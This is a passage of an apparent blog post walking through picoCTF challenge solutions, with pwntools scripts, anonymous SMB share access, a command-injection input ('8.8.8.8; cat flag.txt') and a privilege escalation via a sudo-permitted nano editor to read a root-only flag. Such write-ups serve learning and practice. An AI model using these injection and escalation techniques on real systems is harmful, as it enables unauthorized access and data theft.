&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --global&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; user.name&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;root&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --global&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; user.email&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;root@picoctf&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After changing, it says to push &lt;code&gt;flag.txt&lt;/code&gt;, and it’ll give you the flag:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;touch&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; flag.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; add&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; .&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -m&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;I want flag&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; push&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt; grep&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;pico&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will get you the flag.&lt;/p&gt;
&lt;h2 id=&quot;bytemancy-0&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#bytemancy-0&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;bytemancy 0&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/742?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;The challenge&lt;/a&gt; asks you to send 1751 ASCII 101 characters (‘e’), with no spaces in between. The fastest method should be pwntools. Printing and copy-pasting should also work.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; pwn &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; remote(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;foggy-cliff.picoctf.net&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;YOUR_PORT&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;payload &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;e&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1751&lt;/span&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;  ## ASCII 101 is &apos;e&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.sendlineafter(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;==&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,payload)  &lt;/span&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;## Use sendlineafter to avoid the process is too fast&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;flag &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; r.recvall()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(flag.decode())&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running this will get you the flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In pwntools there are several ways to send payloads:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;send(payload): sends raw bytes only&lt;/li&gt;
&lt;li&gt;sendline(payload): sends with automatic newline&lt;/li&gt;
&lt;li&gt;sendafter(delim, payload): sends after receiving delim&lt;/li&gt;
&lt;li&gt;sendlineafter(delim, payload): receives delim then sends with newline&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;bytemancy-1&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#bytemancy-1&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;bytemancy 1&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/762?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;The challenge&lt;/a&gt; looks exactly the same as the previous one—won’t write about it.&lt;/p&gt;
&lt;h2 id=&quot;bytemancy-2&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#bytemancy-2&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;bytemancy 2&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/724?category=5&amp;#x26;originalEvent=79&amp;#x26;page=2&quot;&gt;The challenge&lt;/a&gt; is the same as before, but it asks to send 0xff. That’s clearly an invisible character—can only use pwntools.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; pwn &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; remote(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;lonely-island.picoctf.net&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;56363&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;payload &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\xff&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.sendlineafter(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;==&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,payload)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;flag &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; r.recvall()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(flag.decode())&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;bytemancy-3&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#bytemancy-3&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;bytemancy 3&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/730?category=5&amp;#x26;originalEvent=79&amp;#x26;page=2&quot;&gt;The challenge&lt;/a&gt; will show three function names in succession—you need to find their addresses. Before writing the script, we need to know its context arch:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ./spellbook&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enter &lt;code&gt;checksec&lt;/code&gt; in gdb and find it’s &lt;code&gt;i386&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; pwn &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;context.arch &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;i386&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;elf &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; ELF(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;./spellbook&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; remote(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;green-hill.picoctf.net&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;57188&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; solve&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;  r.recvuntil(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;procedure &apos;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;  target &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; r.recvuntil(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&apos;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;drop&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;True&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;).decode()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;  addr &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; elf.symbols[target]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;  r.send(p32(addr))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; _ &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    solve()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.interactive()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;printer-shares&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#printer-shares&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Printer Shares&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/759?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;The challenge&lt;/a&gt; asks to connect to a printer and print the flag. First connect to see:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;smbclient&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -L&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; //mysterious-sea.picoctf.net&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 62729&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -N&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After connecting, you should see a shared printer, Public Share With Guest. Then connect to it:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;smbclient&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; //mysterious-sea.picoctf.net/shares&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 62729&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -N&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This enters the printer. Use &lt;code&gt;ls&lt;/code&gt; to see &lt;code&gt;flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; flag.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Disconnect and you’ll find the flag in your directory.&lt;/p&gt;
&lt;h2 id=&quot;ping-cmd&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#ping-cmd&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;ping-cmd&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/757?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;This challenge&lt;/a&gt; limits you to ping 8.8.8.8, but if there’s a shell behind it, you can execute more than one line. Just input:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;8.8.8.8&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; flag.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This bypasses the check and prints the flag.&lt;/p&gt;
&lt;h2 id=&quot;absolute-nano&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#absolute-nano&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;ABSOLUTE NANO&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/748?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;This challenge&lt;/a&gt; is fun. After connecting, the flag is right there, but you don’t have permission to read it. I tried &lt;code&gt;sudo&lt;/code&gt;, obviously it wouldn’t let me. So I entered:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This lists what you can use. I found &lt;code&gt;/bin/nano /etc/sudoers&lt;/code&gt;. So I executed:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /bin/nano&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /etc/sudoers&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I added &lt;code&gt;flag.txt&lt;/code&gt; to it, and it broke. How did it break? The vulnerability I exploited got messed up— even the nano they left was unusable. Had to restart.&lt;/p&gt;
&lt;p&gt;After restarting, back in nano, I &lt;del&gt;communicated with spirits&lt;/del&gt; realized this text editor can theoretically read files, so I pressed &lt;code&gt;ctrl&lt;/code&gt;+&lt;code&gt;R&lt;/code&gt;. Entered the file’s absolute path (since sudo makes you root now), and the flag appeared in nano.&lt;/p&gt;
&lt;h2 id=&quot;piece-by-piece&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#piece-by-piece&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Piece by Piece&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/740?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;The challenge&lt;/a&gt; looks like this after connecting:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;ctf-player@pico-chall$&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; instructions.txt&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;Hint:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; The&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; flag&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; is&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; split&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; into&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; multiple&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; parts&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; a&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; zipped&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; file.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; Use&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; Linux&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; commands&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; to&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; combine&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; the&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; parts&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; into&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; one&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; file.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; The&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; zip&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; is&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; password&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; protected.&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; Use&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;supersecret&quot;&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; password&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; to&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; extract&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; the&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; zip&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; file.&lt;/span&gt;&lt;/span&gt;
